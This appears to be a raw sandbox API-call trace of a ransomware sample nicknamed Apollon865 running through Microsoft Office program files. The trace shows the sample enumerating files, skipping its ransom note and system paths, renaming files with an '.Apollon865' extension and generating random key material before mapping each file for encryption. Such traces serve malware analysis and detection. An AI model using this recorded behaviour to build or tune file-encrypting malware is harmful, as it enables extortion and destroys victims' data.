	[0066.177] lstrlenW (lpString="OMSMAIN.DLL") returned 11
	[0066.177] lstrlenW (lpString="Apollon865") returned 10
	[0066.177] lstrcmpiW (lpString1="MSMAIN.DLL", lpString2="Apollon865") returned 1
	[0066.177] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OMSXP32.DLL" | out: lpString1="OMSXP32.DLL") returned="OMSXP32.DLL"
	[0066.177] lstrlenW (lpString="OMSXP32.DLL") returned 11
	[0066.177] lstrlenW (lpString="Apollon865") returned 10
	[0066.177] lstrcmpiW (lpString1="MSXP32.DLL", lpString2="Apollon865") returned 1
	[0066.177] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ONBttnIE.dll" | out: lpString1="ONBttnIE.dll") returned="ONBttnIE.dll"
	[0066.177] lstrlenW (lpString="ONBttnIE.dll") returned 12
	[0066.177] lstrlenW (lpString="Apollon865") returned 10
	[0066.177] lstrcmpiW (lpString1="BttnIE.dll", lpString2="Apollon865") returned 1
	[0066.177] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ONBttnIELinkedNotes.dll" | out: lpString1="ONBttnIELinkedNotes.dll") returned="ONBttnIELinkedNotes.dll"
	[0066.178] lstrlenW (lpString="ONBttnIELinkedNotes.dll") returned 23
	[0066.178] lstrlenW (lpString="Apollon865") returned 10
	[0066.178] lstrcmpiW (lpString1="dNotes.dll", lpString2="Apollon865") returned 1
	[0066.178] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ONBttnOL.dll" | out: lpString1="ONBttnOL.dll") returned="ONBttnOL.dll"
	[0066.178] lstrlenW (lpString="ONBttnOL.dll") returned 12
	[0066.178] lstrlenW (lpString="Apollon865") returned 10
	[0066.178] lstrcmpiW (lpString1="BttnOL.dll", lpString2="Apollon865") returned 1
	[0066.179] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ONBttnPPT.dll" | out: lpString1="ONBttnPPT.dll") returned="ONBttnPPT.dll"
	[0066.179] lstrlenW (lpString="ONBttnPPT.dll") returned 13
	[0066.180] lstrlenW (lpString="Apollon865") returned 10
	[0066.180] lstrcmpiW (lpString1="ttnPPT.dll", lpString2="Apollon865") returned 1
	[0066.180] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ONBttnWD.dll" | out: lpString1="ONBttnWD.dll") returned="ONBttnWD.dll"
	[0066.180] lstrlenW (lpString="ONBttnWD.dll") returned 12
	[0066.180] lstrlenW (lpString="Apollon865") returned 10
	[0066.180] lstrcmpiW (lpString1="BttnWD.dll", lpString2="Apollon865") returned 1
	[0066.180] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OneNote" | out: lpString1="OneNote") returned="OneNote"
	[0066.180] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0066.180] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x66) returned 0x5b5ae8
	[0066.180] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x59fd10
	[0066.180] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5ccd00, ftCreationTime.dwHighDateTime=0x1cacf90, ftLastAccessTime.dwLowDateTime=0x6bf1cb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c5ccd00, ftLastWriteTime.dwHighDateTime=0x1cacf90, nFileSizeHigh=0x0, nFileSizeLow=0x208560, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONENOTE.EXE", cAlternateFileName="")) returned 1
	[0066.180] lstrcmpiW (lpString1="ONENOTE.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.180] lstrcmpiW (lpString1="ONENOTE.EXE", lpString2="Apollon865.txt.exe") returned 1
	[0066.180] lstrcmpiW (lpString1="ONENOTE.EXE", lpString2=".") returned 1
	[0066.180] lstrcmpiW (lpString1="ONENOTE.EXE", lpString2="..") returned 1
	[0066.180] lstrcmpiW (lpString1="ONENOTE.EXE", lpString2="windows") returned -1
	[0066.180] lstrcmpiW (lpString1="ONENOTE.EXE", lpString2="bootmgr") returned 1
	[0066.180] lstrcmpiW (lpString1="ONENOTE.EXE", lpString2="temp") returned -1
	[0066.180] lstrcmpiW (lpString1="ONENOTE.EXE", lpString2="pagefile.sys") returned -1
	[0066.180] lstrcmpiW (lpString1="ONENOTE.EXE", lpString2="boot") returned 1
	[0066.180] lstrcmpiW (lpString1="ONENOTE.EXE", lpString2="ids.txt") returned 1
	[0066.180] lstrcmpiW (lpString1="ONENOTE.EXE", lpString2="ntuser.dat") returned 1
	[0066.180] lstrcmpiW (lpString1="ONENOTE.EXE", lpString2="perflogs") returned -1
	[0066.180] lstrcmpiW (lpString1="ONENOTE.EXE", lpString2="MSBuild") returned 1
	[0066.180] lstrlenW (lpString="ONENOTE.EXE") returned 11
	[0066.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OneNote") returned 50
	[0066.180] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ONENOTE.EXE" | out: lpString1="ONENOTE.EXE") returned="ONENOTE.EXE"
	[0066.181] lstrlenW (lpString="ONENOTE.EXE") returned 11
	[0066.181] lstrlenW (lpString="Apollon865") returned 10
	[0066.181] lstrcmpiW (lpString1="NENOTE.EXE", lpString2="Apollon865") returned 1
	[0066.181] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ONENOTEIRM.XML" | out: lpString1="ONENOTEIRM.XML") returned="ONENOTEIRM.XML"
	[0066.181] lstrlenW (lpString="ONENOTEIRM.XML") returned 14
	[0066.181] lstrlenW (lpString="Apollon865") returned 10
	[0066.181] lstrcmpiW (lpString1="OTEIRM.XML", lpString2="Apollon865") returned 1
	[0066.181] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEIRM.XML.Apollon865") returned 68
	[0066.181] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\onenoteirm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEIRM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\onenoteirm.xml.apollon865"), dwFlags=0x1) returned 1
	[0066.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEIRM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\onenoteirm.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0066.183] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=80116) returned 1
	[0066.183] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0066.183] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0066.183] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0066.183] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0066.184] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0066.184] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.184] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13c00, lpName=0x0) returned 0x150
	[0066.186] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13c00) returned 0x120000
	[0066.191] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0066.192] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0066.192] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.192] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0066.192] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0066.192] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0066.192] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0066.192] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0066.192] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.192] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0066.192] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.192] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0066.192] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.192] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0066.193] CloseHandle (hObject=0x150) returned 1
	[0066.193] CloseHandle (hObject=0x118) returned 1
	[0066.193] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.193] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0066.193] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0066.194] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x6bf1cb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x3bd80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONENOTEM.EXE", cAlternateFileName="")) returned 1
	[0066.194] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.194] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="Apollon865.txt.exe") returned 1
	[0066.194] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2=".") returned 1
	[0066.194] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="..") returned 1
	[0066.194] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="windows") returned -1
	[0066.194] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="bootmgr") returned 1
	[0066.194] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="temp") returned -1
	[0066.194] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="pagefile.sys") returned -1
	[0066.194] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="boot") returned 1
	[0066.194] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="ids.txt") returned 1
	[0066.194] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="ntuser.dat") returned 1
	[0066.194] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="perflogs") returned -1
	[0066.194] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="MSBuild") returned 1
	[0066.194] lstrlenW (lpString="ONENOTEM.EXE") returned 12
	[0066.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEIRM.XML") returned 57
	[0066.194] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ONENOTEM.EXE" | out: lpString1="ONENOTEM.EXE") returned="ONENOTEM.EXE"
	[0066.194] lstrlenW (lpString="ONENOTEM.EXE") returned 12
	[0066.194] lstrlenW (lpString="Apollon865") returned 10
	[0066.194] lstrcmpiW (lpString1="ENOTEM.EXE", lpString2="Apollon865") returned 1
	[0066.195] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ONENOTEMANAGED.DLL" | out: lpString1="ONENOTEMANAGED.DLL") returned="ONENOTEMANAGED.DLL"
	[0066.195] lstrlenW (lpString="ONENOTEMANAGED.DLL") returned 18
	[0066.195] lstrlenW (lpString="Apollon865") returned 10
	[0066.195] lstrcmpiW (lpString1="ANAGED.DLL", lpString2="Apollon865") returned -1
	[0066.195] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ONFILTER.DLL" | out: lpString1="ONFILTER.DLL") returned="ONFILTER.DLL"
	[0066.195] lstrlenW (lpString="ONFILTER.DLL") returned 12
	[0066.195] lstrlenW (lpString="Apollon865") returned 10
	[0066.195] lstrcmpiW (lpString1="FILTER.DLL", lpString2="Apollon865") returned 1
	[0066.195] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ONLNTCOMLIB.DLL" | out: lpString1="ONLNTCOMLIB.DLL") returned="ONLNTCOMLIB.DLL"
	[0066.195] lstrlenW (lpString="ONLNTCOMLIB.DLL") returned 15
	[0066.195] lstrlenW (lpString="Apollon865") returned 10
	[0066.195] lstrcmpiW (lpString1="COMLIB.DLL", lpString2="Apollon865") returned 1
	[0066.195] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ONMAIN.DLL" | out: lpString1="ONMAIN.DLL") returned="ONMAIN.DLL"
	[0066.195] lstrlenW (lpString="ONMAIN.DLL") returned 10
	[0066.195] lstrlenW (lpString="Apollon865") returned 10
	[0066.195] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ONPPTAddin.dll" | out: lpString1="ONPPTAddin.dll") returned="ONPPTAddin.dll"
	[0066.195] lstrlenW (lpString="ONPPTAddin.dll") returned 14
	[0066.195] lstrlenW (lpString="Apollon865") returned 10
	[0066.195] lstrcmpiW (lpString1="TAddin.dll", lpString2="Apollon865") returned 1
	[0066.195] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ONWordAddin.dll" | out: lpString1="ONWordAddin.dll") returned="ONWordAddin.dll"
	[0066.195] lstrlenW (lpString="ONWordAddin.dll") returned 15
	[0066.196] lstrlenW (lpString="Apollon865") returned 10
	[0066.196] lstrcmpiW (lpString1="dAddin.dll", lpString2="Apollon865") returned 1
	[0066.196] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ORGCHART.DLL" | out: lpString1="ORGCHART.DLL") returned="ORGCHART.DLL"
	[0066.196] lstrlenW (lpString="ORGCHART.DLL") returned 12
	[0066.196] lstrlenW (lpString="Apollon865") returned 10
	[0066.196] lstrcmpiW (lpString1="GCHART.DLL", lpString2="Apollon865") returned 1
	[0066.196] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ORGCHWIZ.DLL" | out: lpString1="ORGCHWIZ.DLL") returned="ORGCHWIZ.DLL"
	[0066.196] lstrlenW (lpString="ORGCHWIZ.DLL") returned 12
	[0066.196] lstrlenW (lpString="Apollon865") returned 10
	[0066.196] lstrcmpiW (lpString1="GCHWIZ.DLL", lpString2="Apollon865") returned 1
	[0066.196] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ORGWIZ.EXE" | out: lpString1="ORGWIZ.EXE") returned="ORGWIZ.EXE"
	[0066.196] lstrlenW (lpString="ORGWIZ.EXE") returned 10
	[0066.196] lstrlenW (lpString="Apollon865") returned 10
	[0066.196] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ORMELEMS.DLL" | out: lpString1="ORMELEMS.DLL") returned="ORMELEMS.DLL"
	[0066.196] lstrlenW (lpString="ORMELEMS.DLL") returned 12
	[0066.196] lstrlenW (lpString="Apollon865") returned 10
	[0066.196] lstrcmpiW (lpString1="MELEMS.DLL", lpString2="Apollon865") returned 1
	[0066.196] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ORMMODEL.MDL" | out: lpString1="ORMMODEL.MDL") returned="ORMMODEL.MDL"
	[0066.196] lstrlenW (lpString="ORMMODEL.MDL") returned 12
	[0066.196] lstrlenW (lpString="Apollon865") returned 10
	[0066.196] lstrcmpiW (lpString1="MMODEL.MDL", lpString2="Apollon865") returned 1
	[0066.197] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OSPP.HTM" | out: lpString1="OSPP.HTM") returned="OSPP.HTM"
	[0066.197] lstrlenW (lpString="OSPP.HTM") returned 8
	[0066.197] lstrlenW (lpString="Apollon865") returned 10
	[0066.197] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OSPP.VBS" | out: lpString1="OSPP.VBS") returned="OSPP.VBS"
	[0066.197] lstrlenW (lpString="OSPP.VBS") returned 8
	[0066.197] lstrlenW (lpString="Apollon865") returned 10
	[0066.197] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OUTLACCT.DLL" | out: lpString1="OUTLACCT.DLL") returned="OUTLACCT.DLL"
	[0066.197] lstrlenW (lpString="OUTLACCT.DLL") returned 12
	[0066.197] lstrlenW (lpString="Apollon865") returned 10
	[0066.197] lstrcmpiW (lpString1="TLACCT.DLL", lpString2="Apollon865") returned 1
	[0066.197] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OUTLCTL.DLL" | out: lpString1="OUTLCTL.DLL") returned="OUTLCTL.DLL"
	[0066.197] lstrlenW (lpString="OUTLCTL.DLL") returned 11
	[0066.197] lstrlenW (lpString="Apollon865") returned 10
	[0066.197] lstrcmpiW (lpString1="UTLCTL.DLL", lpString2="Apollon865") returned 1
	[0066.197] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OUTLFLTR.DAT" | out: lpString1="OUTLFLTR.DAT") returned="OUTLFLTR.DAT"
	[0066.197] lstrlenW (lpString="OUTLFLTR.DAT") returned 12
	[0066.197] lstrlenW (lpString="Apollon865") returned 10
	[0066.197] lstrcmpiW (lpString1="TLFLTR.DAT", lpString2="Apollon865") returned 1
	[0066.197] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OUTLFLTR.DLL" | out: lpString1="OUTLFLTR.DLL") returned="OUTLFLTR.DLL"
	[0066.197] lstrlenW (lpString="OUTLFLTR.DLL") returned 12
	[0066.197] lstrlenW (lpString="Apollon865") returned 10
	[0066.197] lstrcmpiW (lpString1="TLFLTR.DLL", lpString2="Apollon865") returned 1
	[0066.198] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OUTLMIME.DLL" | out: lpString1="OUTLMIME.DLL") returned="OUTLMIME.DLL"
	[0066.198] lstrlenW (lpString="OUTLMIME.DLL") returned 12
	[0066.198] lstrlenW (lpString="Apollon865") returned 10
	[0066.198] lstrcmpiW (lpString1="TLMIME.DLL", lpString2="Apollon865") returned 1
	[0066.198] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OUTLOOK.EXE" | out: lpString1="OUTLOOK.EXE") returned="OUTLOOK.EXE"
	[0066.198] lstrlenW (lpString="OUTLOOK.EXE") returned 11
	[0066.198] lstrlenW (lpString="Apollon865") returned 10
	[0066.198] lstrcmpiW (lpString1="UTLOOK.EXE", lpString2="Apollon865") returned 1
	[0066.198] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OUTLOOK.EXE.MANIFEST" | out: lpString1="OUTLOOK.EXE.MANIFEST") returned="OUTLOOK.EXE.MANIFEST"
	[0066.198] lstrlenW (lpString="OUTLOOK.EXE.MANIFEST") returned 20
	[0066.198] lstrlenW (lpString="Apollon865") returned 10
	[0066.198] lstrcmpiW (lpString1="E.MANIFEST", lpString2="Apollon865") returned 1
	[0066.198] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OutlookAutoDiscover" | out: lpString1="OutlookAutoDiscover") returned="OutlookAutoDiscover"
	[0066.198] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fdc8
	[0066.198] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf5f0
	[0066.198] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdd0 | out: ListHead=0x5b76b0, ListEntry=0x59fdd0) returned 0x5b7c10
	[0066.198] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x59a53950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x5f190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLPH.DLL", cAlternateFileName="")) returned 1
	[0066.198] lstrcmpiW (lpString1="OUTLPH.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.198] lstrcmpiW (lpString1="OUTLPH.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0066.198] lstrcmpiW (lpString1="OUTLPH.DLL", lpString2=".") returned 1
	[0066.198] lstrcmpiW (lpString1="OUTLPH.DLL", lpString2="..") returned 1
	[0066.198] lstrcmpiW (lpString1="OUTLPH.DLL", lpString2="windows") returned -1
	[0066.198] lstrcmpiW (lpString1="OUTLPH.DLL", lpString2="bootmgr") returned 1
	[0066.199] lstrcmpiW (lpString1="OUTLPH.DLL", lpString2="temp") returned -1
	[0066.199] lstrcmpiW (lpString1="OUTLPH.DLL", lpString2="pagefile.sys") returned -1
	[0066.199] lstrcmpiW (lpString1="OUTLPH.DLL", lpString2="boot") returned 1
	[0066.199] lstrcmpiW (lpString1="OUTLPH.DLL", lpString2="ids.txt") returned 1
	[0066.199] lstrcmpiW (lpString1="OUTLPH.DLL", lpString2="ntuser.dat") returned 1
	[0066.199] lstrcmpiW (lpString1="OUTLPH.DLL", lpString2="perflogs") returned -1
	[0066.199] lstrcmpiW (lpString1="OUTLPH.DLL", lpString2="MSBuild") returned 1
	[0066.199] lstrlenW (lpString="OUTLPH.DLL") returned 10
	[0066.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned 62
	[0066.199] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OUTLPH.DLL" | out: lpString1="OUTLPH.DLL") returned="OUTLPH.DLL"
	[0066.199] lstrlenW (lpString="OUTLPH.DLL") returned 10
	[0066.199] lstrlenW (lpString="Apollon865") returned 10
	[0066.199] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OUTLRPC.DLL" | out: lpString1="OUTLRPC.DLL") returned="OUTLRPC.DLL"
	[0066.199] lstrlenW (lpString="OUTLRPC.DLL") returned 11
	[0066.199] lstrlenW (lpString="Apollon865") returned 10
	[0066.199] lstrcmpiW (lpString1="UTLRPC.DLL", lpString2="Apollon865") returned 1
	[0066.199] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="OUTLVBS.DLL" | out: lpString1="OUTLVBS.DLL") returned="OUTLVBS.DLL"
	[0066.199] lstrlenW (lpString="OUTLVBS.DLL") returned 11
	[0066.199] lstrlenW (lpString="Apollon865") returned 10
	[0066.199] lstrcmpiW (lpString1="UTLVBS.DLL", lpString2="Apollon865") returned 1
	[0066.199] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="PAGESIZE" | out: lpString1="PAGESIZE") returned="PAGESIZE"
	[0066.199] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fde8
	[0066.199] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x68) returned 0x59a200
	[0066.199] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdf0 | out: ListHead=0x5b76b0, ListEntry=0x59fdf0) returned 0x59fdd0
	[0066.199] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd651f080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x755a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PDSBASE.DLL", cAlternateFileName="")) returned 1
	[0066.199] lstrcmpiW (lpString1="PDSBASE.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.200] lstrcmpiW (lpString1="PDSBASE.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0066.200] lstrcmpiW (lpString1="PDSBASE.DLL", lpString2=".") returned 1
	[0066.200] lstrcmpiW (lpString1="PDSBASE.DLL", lpString2="..") returned 1
	[0066.200] lstrcmpiW (lpString1="PDSBASE.DLL", lpString2="windows") returned -1
	[0066.200] lstrcmpiW (lpString1="PDSBASE.DLL", lpString2="bootmgr") returned 1
	[0066.200] lstrcmpiW (lpString1="PDSBASE.DLL", lpString2="temp") returned -1
	[0066.200] lstrcmpiW (lpString1="PDSBASE.DLL", lpString2="pagefile.sys") returned 1
	[0066.200] lstrcmpiW (lpString1="PDSBASE.DLL", lpString2="boot") returned 1
	[0066.200] lstrcmpiW (lpString1="PDSBASE.DLL", lpString2="ids.txt") returned 1
	[0066.200] lstrcmpiW (lpString1="PDSBASE.DLL", lpString2="ntuser.dat") returned 1
	[0066.200] lstrcmpiW (lpString1="PDSBASE.DLL", lpString2="perflogs") returned -1
	[0066.200] lstrcmpiW (lpString1="PDSBASE.DLL", lpString2="MSBuild") returned 1
	[0066.200] lstrlenW (lpString="PDSBASE.DLL") returned 11
	[0066.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned 51
	[0066.200] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="PDSBASE.DLL" | out: lpString1="PDSBASE.DLL") returned="PDSBASE.DLL"
	[0066.200] lstrlenW (lpString="PDSBASE.DLL") returned 11
	[0066.200] lstrlenW (lpString="Apollon865") returned 10
	[0066.200] lstrcmpiW (lpString1="DSBASE.DLL", lpString2="Apollon865") returned 1
	[0066.200] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="PE.DLL" | out: lpString1="PE.DLL") returned="PE.DLL"
	[0066.200] lstrlenW (lpString="PE.DLL") returned 6
	[0066.200] lstrlenW (lpString="Apollon865") returned 10
	[0066.201] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="PEOPLEDATAHANDLER.DLL" | out: lpString1="PEOPLEDATAHANDLER.DLL") returned="PEOPLEDATAHANDLER.DLL"
	[0066.201] lstrlenW (lpString="PEOPLEDATAHANDLER.DLL") returned 21
	[0066.201] lstrlenW (lpString="Apollon865") returned 10
	[0066.201] lstrcmpiW (lpString1="ANDLER.DLL", lpString2="Apollon865") returned -1
	[0066.201] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="PJCALEND.DLL" | out: lpString1="PJCALEND.DLL") returned="PJCALEND.DLL"
	[0066.201] lstrlenW (lpString="PJCALEND.DLL") returned 12
	[0066.201] lstrlenW (lpString="Apollon865") returned 10
	[0066.201] lstrcmpiW (lpString1="CALEND.DLL", lpString2="Apollon865") returned 1
	[0066.201] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="POWERPNT.EXE" | out: lpString1="POWERPNT.EXE") returned="POWERPNT.EXE"
	[0066.201] lstrlenW (lpString="POWERPNT.EXE") returned 12
	[0066.201] lstrlenW (lpString="Apollon865") returned 10
	[0066.201] lstrcmpiW (lpString1="WERPNT.EXE", lpString2="Apollon865") returned 1
	[0066.201] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="powerpnt.exe.manifest" | out: lpString1="powerpnt.exe.manifest") returned="powerpnt.exe.manifest"
	[0066.201] lstrlenW (lpString="powerpnt.exe.manifest") returned 21
	[0066.201] lstrlenW (lpString="Apollon865") returned 10
	[0066.202] lstrcmpiW (lpString1="e.manifest", lpString2="Apollon865") returned 1
	[0066.202] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="PPCORE.DLL" | out: lpString1="PPCORE.DLL") returned="PPCORE.DLL"
	[0066.202] lstrlenW (lpString="PPCORE.DLL") returned 10
	[0066.202] lstrlenW (lpString="Apollon865") returned 10
	[0066.202] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="PPSLAX.DLL" | out: lpString1="PPSLAX.DLL") returned="PPSLAX.DLL"
	[0066.202] lstrlenW (lpString="PPSLAX.DLL") returned 10
	[0066.202] lstrlenW (lpString="Apollon865") returned 10
	[0066.202] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="PPTICO.EXE" | out: lpString1="PPTICO.EXE") returned="PPTICO.EXE"
